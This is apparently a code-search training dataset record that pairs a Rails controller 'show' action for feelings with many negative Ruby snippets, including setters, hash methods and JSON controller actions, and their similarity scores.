"def set(obj, value)\n if @type\n if @single\n value = @type.parse(value)\n else\n value = value.map{|e| @type.parse(e)}\n end\n elsif @builder\n if @single\n value = @builder.call(value)\n else\n value = value.map{|e| @builder.call(e)}\n end\n end\n obj.send(\"#{@sym}=\".to_sym, value)\n end",
"def old_value=(_arg0); end",
"def value= value\n\t\t@value = value\n\t\trefresh\n\tend",
"def temporarily(obj, member, new_value)\n old_value = obj.send(member)\n\n begin\n obj.send(member.to_s+'=', new_value) # CONSIDER look up the assign thinger?\n yield\n ensure\n obj.send(member.to_s+'=', old_value)\n end\nend",
"def update!(value:, **)\n @value = value\n self\n end",
"def create_setter\n @model.class_eval <<-EOS, __FILE__, __LINE__\n #{writer_visibility}\n def #{name}=(value)\n self[#{name.inspect}] = value\n end\n EOS\n end",
"def set(val)\n @value = val\n @http_value = nil\n self\n end",
"def []=(property, value); end",
"def __copy_on_write__(*)\n super.tap do\n new_set = __getobj__.instance_variable_get(:@set).dup\n __getobj__.instance_variable_set(:@set, new_set)\n end\n end",
"def value=(value)\n @value = value\n end",
"def value=(value)\n @value = value\n end",
"def value=(value)\n @value = value\n end",
"def value=(newval)\n raise\n end",
"def value_object\n @value_class ||= create_value_class\n end",
"def value(value)\n\t\t@value=value\n\tend",
"def new_with_value(value)\n RObject.new self, value\n end",
"def set(instance, value)\n set!(instance, typecast(value))\n end",
"def new_value(old_value)\n raise 'to be implemented in subclass'\n end",
"def immutable\n obj = self.class.const_get(:Immutable).send(:new)\n self.class.attribute_descriptors.each do |name, attr|\n if attr.is_attribute?\n value = self.instance_variable_get(:\"@#{name}\")\n obj.instance_variable_set(:\"@#{name}\", value)\n end\n end\n\n obj\n end",
"def value=(new_value)\n validate(new_value)\n if new_value.nil?\n property_names.each { |name| self[name] = nil }\n else\n property_names.each { |name| self[name] = new_value[name] }\n end\n end",
"def get_and_set(new_value)\n @mutex.synchronize do\n old_value = @value\n @value = new_value\n old_value\n end\n end",
"def old_value; end",
"def __setobj__\n raise \"ObjectProxy does not support changing referenced object\"\n end",
"def clone\n Value.new(type.try(:clone), unit.try(:clone), value.try(:clone), inclusive?, derived?, expression.try(:clone))\n end",
"def coercer\n ValueObjectCoercer.new(self)\n end",
"def return_obj(key, val)\n singleton_class.class_eval { attr_accessor \"#{key.to_s}\" }\n send(\"#{key.to_s}=\", val)\n end",
"def dup\n self.class.new(@value, **(@object || {}))\n end",
"def new_value(value)\n CanadianObject.new(self, value)\n end",
"def value=(value)\n self['value'] = value\n end",
"def new_with_value(value)\n AwesomeObject.new(self, value)\n end",
"def set_value(object, value)\n value = cast_value(value)\n\n case value_type\n when 'integer' then object.value_integer = value\n when 'float' then object.value_float = value\n when 'string' then object.value_string = value\n else raise_invalid_type\n end\n end",
"def set(value)\n old_value = refresh(value)\n handle_event :type => :change, :old_value => old_value, :value => @value if old_value != @value\n old_value\n end",
"def set attr, to: value\n unless writable_attr? attr\n raise NoMethodError, \"#{attr} is read-only for #{inspect}\"\n end\n real_attr = attribute_for attr\n value = value.to_axvalue\n set real_attr, to: value, for: @ref\n value\n end",
"def __value(v); end",
"def property_set sym, val\n oldvalue = instance_variable_get \"@#{sym}\"\n tmp = val.size == 1 ? val[0] : val\n newvalue = tmp\n if oldvalue.nil? || @_object_created.nil?\n #@#{sym} = tmp\n instance_variable_set \"@#{sym}\", tmp\n end\n return(self) if oldvalue.nil? || @_object_created.nil?\n\n if oldvalue != newvalue\n # trying to reduce calls to fire, when object is being created\n begin\n @property_changed = true\n fire_property_change(\"#{sym}\", oldvalue, newvalue) if !oldvalue.nil?\n #@#{sym} = tmp\n instance_variable_set \"@#{sym}\", tmp\n #@config[\"#{sym}\"]=@#{sym}\n rescue PropertyVetoException\n $log.warn \"PropertyVetoException for #{sym}:\" + oldvalue.to_s + \"-> \"+ newvalue.to_s\n end\n end # if old\n self\n end",
"def value_object\n @value_class ||= create_value_class\n end",
"def set(value)\n value.respond_to?(:attributes) ? value.attributes : value\n end",
"def []=(name, value)\n if existing = by_name(name).full?\n #existing.update_attribute(:value, value)\n existing.value = value\n existing.save\n else\n create(:name => name.to_s, :value => value)\n end\n end",
"def set_obj(obj,id,attr,value)\n a = set_safe(obj,attr,id,value)\n return a if a\n nil\n end",
"def setter(attribute, value)\n willChangeValueForKey(attribute)\n send(\"primitive#{attribute.sub(/\\S/, &:upcase)}\", value)\n didChangeValueForKey(attribute)\n return value\n end",
"def raw_set(key, value)\n raise Exceptions::ImmutableModification if immutable?\n\n @entity[key.to_s] = value\n\n @modified_properties << key.to_sym\n @tainted = true\n end",
"def set(value)\n case value\n when DateTime\n set(value.to_time)\n when Time\n time_int = value.to_i\n time_int *= NS_MULTIPLIER\n adjusted_epoch = time_int + EPOCH_DIFF_100NS\n set(adjusted_epoch)\n when Integer\n self.val = value\n else\n self.val = value.to_i\n end\n val\n end",
"def method_missing(method, *args, &block)\n @value = @value.send method, *args, &block\n self\n end",
"def value=(val)\n self.send :\"#{_mapped_value_column}=\", val\n end",
"def change(values_={}, unparse_params_={})\n unparse_params_ = @_unparse_params.merge(unparse_params_) if @_unparse_params\n values_ = _canonicalize_values_hash(values_)\n Value.new(@_values.merge(values_), @_format, unparse_params_)\n end",
"def value=(should)\n @property_hash[:value] = should\n end",
"def []=(key, val)\n self.setObject(val, forKey: key.to_s)\n self.synchronize\n end",
"def value=(value)\n @value = value.nil? ? nil : _set_value(value)\n end",
"def set_field_value(obj, name, value)\n begin\n @struct_field_setter.call(obj, name, value)\n rescue\n end\n end",
"def raw_value=(v)\n @value = v\n end",
"def set(value)\n value.to_a\n end",
"def set_value(value)\n @value = value\n end",
"def __setobj__(obj); end",
"def set_value\n if resolver.params.key?(name) && options.key?(resolver.params[name])\n self.value = resolver.params[name]\n else\n self.value = attributes.delete(:value)\n end\n end",
"def []=(attribute_name, value)\n raise NoMethodError, \"The attribute #{attribute_name} is undefined\" unless self.class.attributes.has_key? attribute_name\n \n return_value = super(attribute_name, self.class.cast(attribute_name, value))\n\n if self.__owner_object \n # This makes the tableless model compatible with partial_updates:\n # whenever a property in the tableless model is changed, we force the parent/owner object to a changed state\n # by updating it with a new, updated instance of the tableless model\n self.__owner_object.send \"#{self.__serialized_attribute.to_s}=\".to_sym, self\n end\n\n return_value\n end",
"def value=(new_value)\n validate(new_value)\n @value = parse_value(new_value)\n end",
"def value=(new_value)\n validate(new_value)\n @value = parse_value(new_value)\n end",
"def value\n\t\t# This bizarre construct is done in order to not be reliant\n\t\t# on the inherent assignment-order when using Property.new({...})\n\t\t# since that hash can be ordered anywhich way .daniel\n\t\tif value_id\n\t\t\tvalue_object.value\n\t\telse\t\t\t\n\t\t\t@value\n\t\tend\n\tend",
"def set_safe(obj,attr,id,value)\n a = try(\"#{CLASSHELPER[obj.to_sym]}.new('#{id}')\") unless a = get_obj(obj,id)\n \n unless [Array,String,Fixnum].select{|type| value.is_a?(type)}.empty?\n try(\"a.#{attr}=#{value.inspect}\")\n else\n puts \"Unknown type to store to cache.(#{value.class})\"\n end\n set_obj_val obj,id,a\n return value\n end"
] | [
"0.7021836",
"0.70031625",
"0.6977304",
"0.6952841",
"0.6867461",
"0.68251985",
"0.68251985",
"0.665002",
"0.6610498",
"0.65815234",
"0.6515533",
"0.64989656",
"0.64555174",
"0.6432056",
"0.6368276",
"0.6366005",
"0.63383156",
"0.632852",
"0.63054854",
"0.6270775",
"0.6262346",
"0.6253367",
"0.62385905",
"0.6225927",
"0.6223949",
"0.6185523",
"0.61701095",
"0.61383986",
"0.61339766",
"0.6130057",
"0.61243993",
"0.6123603",
"0.61168534",
"0.6114767",
"0.6093113",
"0.6080608",
"0.60742056",
"0.60676736",
"0.6049548",
"0.6023096",
"0.6009861",
"0.6002388",
"0.5970781",
"0.59577453",
"0.59382594",
"0.59216917",
"0.5921359",
"0.59141505",
"0.5904575",
"0.5896152",
"0.58928627",
"0.5886798",
"0.5886798",
"0.5886798",
"0.5884868",
"0.58682084",
"0.5853059",
"0.5835256",
"0.5834956",
"0.5809107",
"0.5807426",
"0.5805576",
"0.5802306",
"0.5799811",
"0.5790972",
"0.5785319",
"0.57817024",
"0.5779756",
"0.57713234",
"0.57582814",
"0.5750201",
"0.5745294",
"0.5734007",
"0.57274765",
"0.5721034",
"0.5719479",
"0.5716393",
"0.57003254",
"0.56942165",
"0.5688558",
"0.56864655",
"0.5685159",
"0.5671873",
"0.5669859",
"0.56691754",
"0.5668911",
"0.56623495",
"0.5659757",
"0.56527936",
"0.5650045",
"0.5648545",
"0.56470513",
"0.56465054",
"0.5645673",
"0.56455374",
"0.5639502",
"0.56366646",
"0.5634343",
"0.5634343",
"0.56338817",
"0.56194055"
] | 0.0 | -1 |
hash method required to honour equals contract | def hash
[@creditor_id, @creditor_name, @debt_positions].hash
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def hash(*) end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash_code; end",
"def hash() source.hash ^ (target.hash+1); end",
"def hash() source.hash ^ (target.hash+1); end",
"def hash()\n #This is a stub, used for indexing\n end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash\n return @hash_code if defined? @hash_code\n @hash_code = usual_equal_object.hash\n end",
"def hash() source.hash ^ target.hash; end",
"def rehash() end",
"def hash #:nodoc:\n __getobj__.hash ^ self.class.hash\n end",
"def hash()\n #This is a stub, used for indexing\nend",
"def hash\n h = @e.nil? ? 0 : @e\n h = (h << 1) ^ @r.hash\n h = (h << 1) ^ @v.hash\n end",
"def hash=(_arg0); end",
"def hash(key); end",
"def hash\n source.hash ^ target.hash\n end",
"def hash\n to_h.hash ^ self.class.hash\n end",
"def hashable? = super && index.hashable?",
"def to_hash() end",
"def hash # :nodoc:\n identifier.hash ^ requirement.hash\n end",
"def ==(other)\n self.to_hash == other.to_hash\n end",
"def hash\n size.hash ^ rank.hash\n end",
"def hash\n end",
"def hash\n end",
"def hash\n end",
"def test_Hash_InstanceMethods_Equality\n\t\th1 = { 'a'=>1, 'c'=>2 }\n\t\th2 = { 7=>35, 'c'=>2, 'a'=>1 }\n\t\th3 = { 'a'=>1, 'c'=>2, 7=>35 }\n\t\th4 = { 'a'=>1, 'd'=>2, 'f'=>35 }\n\t\tassert_equal(false, h1 == h2)\n\t\tassert_equal(true, h2 == h3)\n\t\tassert_equal(false, h3 == h4)\n\tend",
"def hash\n # Memoizing such a simple hash value seems silly, however the\n # profiler showed the Card#hash method as having 22% of the runtime. My\n # memoizing the hash value that was reduced to 12%.\n return @hash unless @hash.nil?\n @hash = @value.hash ^ @suit.hash\n end",
"def hash\n self.begin.hash ^ self.end.hash\n end",
"def hash # Hack for Ruby 1.8.6\n @node.id.hash ^ self.class.hash\n end",
"def hash\n self.class.hash ^ operand.hash\n end",
"def hash\n @hash || @hash = (value.hash * -1)\n end",
"def hash\n @hash || calculate_hash!\n end",
"def hash\n super ^ number.hash\n end",
"def hash\n self.class.hash ^ left.hash ^ right.hash\n end",
"def hash\n return name.hash ^ direction.hash ^ lhs.hash ^ rhs.hash\n end",
"def equality_and_hashcode_from(*args)\n hashcode_prime = _equality_extract_options(args)[:hashcode_prime] || 17\n \n unless args.empty?\n\n define_method(:==) do |other|\n return true if self.equal?(other)\n return self.class == other.class &&\n args.all? { |a| self.send(a) == other.send(a) }\n end\n \n define_method(:eql?) do |other|\n return true if self.equal?(other)\n return self.class.eql?(other.class) &&\n args.all? { |a| self.send(a).eql?(other.send(a)) }\n end\n \n define_method(:hash) do\n hashcode = hashcode_prime * self.send(args[0]).hash\n args[1..args.size-1].each { |a| hashcode = hashcode_prime * ((hashcode << 2) + (hashcode >> 2)) + self.send(a).hash }\n return hashcode\n end\n\n end\n end",
"def hash\n return super unless has_size?\n\n res = 0\n each do |el|\n res += el.hash\n end\n return res\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def ==(other)\n self.hash == other.hash\n end",
"def hash\n 0\n end",
"def hash_method\n super\n end",
"def eql?(arg)\n self.hash == arg.hash\n end",
"def hash\n type.hash ^ (id.hash >> 1)\n end",
"def hash\n\t\t[@a, @b, self.class::D].hash\n\tend",
"def hash\n @hash ||= self.to_a.hash\n end",
"def hash\n excl = @excl ? 1 : 0\n hash = excl\n hash ^= @begin.hash << 1\n hash ^= @end.hash << 9\n hash ^= excl << 24;\n # Are we throwing away too much here for a good hash value distribution?\n return hash & Fixnum::MAX\n end",
"def hash(*args, **_arg1, &block); end",
"def hash\r\n a = 0\r\n @id.each_byte {|c| a += c.to_i}\r\n (a + @paired.to_i) * HASH_PRIME\r\n end",
"def test_same_hashes\r\n\t\ts = \"Addr1<Addr2(100):Addr3<Addr4(500)\"\r\n\t\ttb = Block.new(0,0,s,0.0,\"90a2\")\r\n\t\ttb.set_calculated_hash(\"90a2\")\r\n\t\t\r\n\t\tassert_equal(1, tb.compare_current_hash)\r\n\tend",
"def hash\n [anchor, cv, nullifier, proof, rk, spend_auth_sig].hash\n end",
"def ==(other)\n self.class==other.class && self.hash==other.hash\n end",
"def hash\n raise NotImplementedError.new(\"hash() must be implemented by subclasses of AbstractVersionedFile.\")\n end",
"def hash\r\n @_hash ||= _hash\r\n end",
"def calculate_hash!\n prefix = PREFIX_NAME_LOOKUP[self.type]\n # add special cases for refs\n self.hash_id = NodeId.sha1(\"#{prefix} #{self.size}\\0#{self.content}\")\n end",
"def hash\n @orig.hash\n end",
"def hash\n @orig.hash\n end",
"def hash\n @orig.hash\n end",
"def hash\n values.hash ^ known_data.hash\n end",
"def ==(other)\n to_hash == other.to_hash\n end",
"def ==(other)\n to_hash == other.to_hash\n end",
"def eql?(other)\n @hash.hash == other.hash\n end",
"def time_safe_equals(a, b)\n a.hash == b.hash && a == b\n end",
"def hash\n self.class.name.hash ^ @key.hash\n end",
"def hash\n prime = 31\n result = 1\n result = result * prime + (@decision_target == nil ? 0 : @decision_target.hash)\n result = prime * result + (@string_id == nil ? 0 : @string_id.hash)\n result\n end",
"def hash\n\t\t\"#{@x}#{@y}\".hash\n\tend",
"def compare_by_identity\n if @hash.respond_to?(:compare_by_identity)\n @hash.compare_by_identity\n self\n else\n raise NotImplementedError, \"#{self.class.name}\\##{__method__} is not implemented\"\n end\n end",
"def hash\n @vbits.hash\n end",
"def ==(other)\n super || @hash == other.hash\n end",
"def eql?(other)\n @hash == other.hash\n end",
"def hash() #:nodoc:\n prime = 31;\n result = 1;\n result = prime * result + @amount.to_i\n result = prime * result + @new_balance.to_i\n result = prime * result + (@date.nil? ? 0 : Bankjob.date_time_to_ofx(@date).hash);\n result = prime * result + (@raw_description.nil? ? 0 : @raw_description.hash);\n result = prime * result + (@type.nil? ? 0 : @type.hash);\n # don't use value date\n return result;\n end",
"def ==(other)\n self.to_hash == other.to_hash\n end",
"def hash # :nodoc:\n name.hash ^ type.hash ^ requirement.hash\n end",
"def hash\n [self[0], self[1]].hash\n end",
"def eql?(other)\n hash == other.hash\n end",
"def hash\n code = 17\n code = 37*code + @x.hash\n code = 37*code + @y.hash\n # Add lines like this for each significant instance variable\n code # Return the resulting code\n end",
"def test_equal_hash\n chain = \"Person1<Person2(360):Person3<Person4(930)\"\n block = Blockchain.new(0,0,chain, 1.5,\"ch77\")\n block.setHash(\"ch77\")\n\n assert_equal(1, block.check_curr())\n end",
"def test_Hash_InstanceMethods_to_hash\n\t\t# TODO, will be add some testcases\n\t\tassert_equal(true, true)\n\tend",
"def ==(other)\n hash == other.hash\n end",
"def ==(other)\n hash == other.hash\n end",
"def test_different_hashes\r\n\t\ts = \"Addr1<Addr2(100):Addr3<Addr4(500)\"\r\n\t\ttb = Block.new(0,0,s,0.0,\"90a2\")\r\n\t\ttb.set_calculated_hash(\"10b4\")\r\n\t\t\r\n\t\tassert_equal(0, tb.compare_current_hash)\r\n\tend",
"def == other\n return false if other == nil\n if other.is_a?(Universa::HashId)\n super\n else\n if other.size == 96\n bytes == other\n else\n to_s == other\n end\n end\n end",
"def hash\n [_hash, name, owner].hash\n end",
"def hash\n @symbols.hash + 37*positive?.hash\n end",
"def hash\n folder.hash ^ name.hash # eXclusive OR operator\n end",
"def hash\n self.class.hash ^ key_attributes.hash\n end"
] | [
"0.8078165",
"0.8056436",
"0.8056436",
"0.8056436",
"0.8056436",
"0.8056436",
"0.8056436",
"0.8056436",
"0.7682853",
"0.74962723",
"0.74962723",
"0.74792016",
"0.7375365",
"0.7375365",
"0.7375365",
"0.7375365",
"0.7375365",
"0.7375365",
"0.7375365",
"0.7375365",
"0.7375365",
"0.7375365",
"0.7280444",
"0.72556794",
"0.7213525",
"0.71668756",
"0.71493506",
"0.71220183",
"0.71108633",
"0.7105391",
"0.70116776",
"0.7011521",
"0.6995748",
"0.69922256",
"0.694751",
"0.69231665",
"0.69146496",
"0.68785894",
"0.68785894",
"0.68785894",
"0.68714345",
"0.6827626",
"0.6813579",
"0.6807894",
"0.6801375",
"0.68005157",
"0.6783149",
"0.67695355",
"0.67634887",
"0.6718114",
"0.6687357",
"0.66806567",
"0.6666902",
"0.6666902",
"0.6664205",
"0.66512406",
"0.6617466",
"0.6575366",
"0.6573193",
"0.6557935",
"0.65461427",
"0.65455115",
"0.6543699",
"0.6495684",
"0.6491822",
"0.64914477",
"0.64888453",
"0.6479863",
"0.6475439",
"0.6466396",
"0.64645207",
"0.64645207",
"0.64645207",
"0.64525425",
"0.64415824",
"0.64415824",
"0.643905",
"0.64357024",
"0.6420611",
"0.6410884",
"0.6390848",
"0.63902605",
"0.63881135",
"0.6380996",
"0.63739353",
"0.6373028",
"0.636761",
"0.6362985",
"0.63570535",
"0.63528043",
"0.6344267",
"0.6315721",
"0.631488",
"0.63137895",
"0.63137895",
"0.6311314",
"0.63017064",
"0.6296372",
"0.6286955",
"0.62857985",
"0.62723976"
] | 0.0 | -1 |
GET /feelings/1 GET /feelings/1.json | def show
@feeling = Feeling.find(params[:id])
@sake = Sake.find(params[:sake_id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @feeling }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_feeling\n @feeling = Feeling.find(params[:id])\n end",
"def index\n @feelings = Feeling.where(user: current_user).all\n end",
"def find_feeling(user)\n self.feelings.where( user_id: user.id ).first\n end",
"def new\n @sake= Sake.find(params[:sake_id])\n @feeling = Feeling.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feeling }\n end\n end",
"def destroy\n @feeling = Feeling.find(params[:id])\n @feeling.destroy\n render :ok, json: { feeling: @feeling }\n end",
"def update\n @feeling = Feeling.find(params[:id])\n\n respond_to do |format|\n if @feeling.update_attributes(params[:feeling])\n format.html { redirect_to @feeling, notice: 'Feeling was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @feeling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @belief = Belief.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @belief }\n end\n end",
"def show\n @fortune = Fortune.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fortune }\n end\n end",
"def index\n @fretes = Frete.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fretes }\n end\n end",
"def show\n @foodhamper = Foodhamper.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @foodhamper }\n end\n end",
"def show\n @favorite_flyer = FavoriteFlyer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @favorite_flyer }\n end\n end",
"def show\n @feat = @person.feats.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feat }\n end\n end",
"def index\n @feeling_cards = FeelingCard.all\n end",
"def show\n @favourite_food = FavouriteFood.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @favourite_food }\n end\n end",
"def create\n @feeling = Feeling.new(feeling_params)\n\n respond_to do |format|\n if @feeling.save\n format.html { redirect_to new_feeling_path }\n #format.js\n format.json { render :show, status: :created, location: @feeling }\n else\n format.html { render :new }\n #format.json { render json: @feeling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api\n url = \"https://wagon-dictionary.herokuapp.com/#{@answer}\"\n response = URI.open(url).read\n json = JSON.parse(response)\n return json['found']\n end",
"def index\n @foodhampers = Foodhamper.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @foodhampers }\n end\n end",
"def show\n @food = Food.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food }\n end\n end",
"def show\n @flaw = Flaw.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @flaw }\n end\n end",
"def show\n\n @food = Food.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food }\n end\n end",
"def destroy\n @feeling = Feeling.find(params[:id])\n @feeling.destroy\n\n respond_to do |format|\n format.html { redirect_to feelings_url }\n format.json { head :ok }\n end\n end",
"def show\n @meal = Meal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @meal }\n end\n end",
"def index\n @frais_hebergements = FraisHebergement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @frais_hebergements }\n end\n end",
"def create\n @survey = Survey.find(params[:survey_id])\n emoji = params[:emoji]\n mood = params[:mood]\n @feeling = Feeling.new(mood: mood, emoji: emoji)\n @survey.feelings << @feeling\n\n if @feeling.save\n render :ok, json: @feeling\n else\n @errors = @feelings.error.full_messages\n render json: {message: @errors}, status: :unprocessable_entity\n end\n\n if !@survey\n render json: {message: [\"Survey is Required!\"] }, status: :unprocessable_entity\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meal }\n end\n end",
"def show\n @butterfly = Butterfly.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @butterfly }\n end\n end",
"def show\n @food_recipe = FoodRecipe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food_recipe }\n end\n end",
"def show\n @fiction = Fiction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fiction }\n end\n end",
"def show\n #@feat = Feat.find(params[:id])\n @feat = @character.feats.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feat }\n end\n end",
"def show\n @fishing_method = FishingMethod.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fishing_method }\n end\n end",
"def index\n @fiction = Fiction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fiction }\n end\n end",
"def show\n @saying = Saying.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @saying }\n end\n end",
"def show\n @kf_diary = Kf::Diary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kf_diary }\n end\n end",
"def show\n @frete = Frete.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @frete }\n end\n end",
"def show\n @familiar = Familiar.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @familiar }\n end\n end",
"def new\n @favorite_flyer = FavoriteFlyer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @favorite_flyer }\n end\n end",
"def show\n respond_to do |format|\n format.html { render :show }\n format.json { render json: @meal }\n end\n end",
"def index\n #@feats = Feat.find(:all)\n @feats = @character.feats.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feats }\n end\n end",
"def show\n @frais_hebergement = FraisHebergement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @frais_hebergement }\n end\n end",
"def show\n @needed_good = NeededGood.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @needed_good }\n end\n end",
"def show\n @beverage = Beverage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @beverage }\n end\n end",
"def new\n @fortune = Fortune.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fortune }\n end\n end",
"def show\n @cheer = Cheer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cheer }\n end\n end",
"def show\n # @foaf = Foaf.find(:id)\n respond_to do |format|\n format.html { render layout: false }#text: convert_one_to_rdf(@foaf, :html) }\n format.ttl { render text: convert_one_to_rdf(@foaf, :ttl) }\n format.rj { render text: convert_one_to_rdf(@foaf, :json) }\n format.nt { render text: convert_one_to_rdf(@foaf, :ntriples) }\n format.rdf { render text: convert_one_to_rdf(@foaf, :rdf) }\n format.jsonld { render text: convert_one_to_rdf(@foaf, :jsonld) }\n end\n end",
"def show\n @meal = Meal.find(params[:meal_id]) if params[:meal_id]\n @recipe = @meal.recipes.find(params[:id]) if @meal\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe }\n end\n end",
"def update\n puts \"update #{@feeling.as_json} #{updated_params.as_json}\"\n respond_to do |format|\n if @feeling.update(updated_params)\n puts \"brucep update success\"\n #format.html { redirect_to @feeling, notice: 'Feeling was successfully updated.' }\n format.html { redirect_to new_feeling_path }\n format.json { render :show, status: :ok, location: @feeling }\n #format.js\n else\n format.html { render :edit }\n format.json { render json: @feeling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @featuring = Featuring.all\n end",
"def show\n @factor = Factor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @factor }\n end\n end",
"def show\n\n respond_to do |format|\n format.html { # show.html.erb\n @flyer_info = FlyerInfo.find(params[:id])\n }\n format.json {\n render json: getflyer(params[:id])\n }\n end\n\n end",
"def show\n @messagefact = Messagefact.find(params[:id])\n respond_to do |format|\n format.json {\n render :json => @messagefact, :layout => false\n }\n end\n end",
"def show\n @beer = Beer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @beer }\n end\n end",
"def show\n @beer = BreweryDB.beer(params[:id]) \n render json: @beer\n end",
"def show\n @gotcha = Gotcha.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gotcha }\n end\n end",
"def index\n\t @fares = Fare.all\n\n\t respond_to do |format|\n\t\tformat.html # index.html.erb\n\t\tformat.json { render json: @fares }\n\t end\n\tend",
"def show\n #@klass_fee = KlassFee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @klass_fee }\n end\n end",
"def show\n @idiom = Idiom.find(params[:id])\n @essays = Essay.where(idiom_id: params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @idiom }\n end\n end",
"def show\n @faq = Helpdesk::Faq.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @faq }\n end\n end",
"def show\n @meal_preference = MealPreference.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meal_preference }\n end\n end",
"def show\n @fundraiser = Fundraiser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fundraiser }\n end\n end",
"def show\n @fundraiser = Fundraiser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fundraiser }\n end\n end",
"def show\n @faction = Faction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @faction }\n end\n end",
"def set_feeling_card\n @feeling_card = FeelingCard.find(params[:id])\n end",
"def get_favorite_beer\n begin\n favorite = @current_user.favorite_beer\n render json: FavoriteBeerSerializer.new(favorite).data\n rescue StandardError => e\n message = e.message\n end\n end",
"def destroy\n @feeling.destroy\n respond_to do |format|\n format.html { redirect_to feelings_url, notice: 'Feeling was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def favorite_foods\n get(\"/user/#{@user_id}/foods/log/favorite.json\")\n end",
"def feeling_params\n params.require(:feeling).permit(:feeling_card_id, :super_category, :category, :vfeeling, :experience_id, :note).merge(user_id: current_user.id)\n end",
"def show\n @family = get_family(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family }\n end\n end",
"def get_favorite\n @json = FavoriteBeer&.all.where(user_id: @current_user.id).as_json\n\n @json.map! { |beer| beer.slice('id', 'name', 'tagline', 'description', 'abv', 'punk_id') }\n @json.each { |beer| beer[:favorite] = true }\n\n render json: {\n favorite_beers: @json\n }\n end",
"def show\n @meal_profile = MealProfile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meal_profile }\n end\n end",
"def index\n @sayings = Saying.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sayings }\n end\n end",
"def show\n begin\n @fucker = Fucker.find(params[:id])\n respond_to do |format|\n format.json { render json: @fucker }\n end\n rescue => err\n $log.warn(err)\n respond_to do |format|\n format.json { render json: err, status: :internal_server_error }\n end\n end\n end",
"def new\n @foodhamper = Foodhamper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @foodhamper }\n end\n end",
"def show\n @recipe_ingredient = Recipe_ingredient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe_ingredient }\n end\n end",
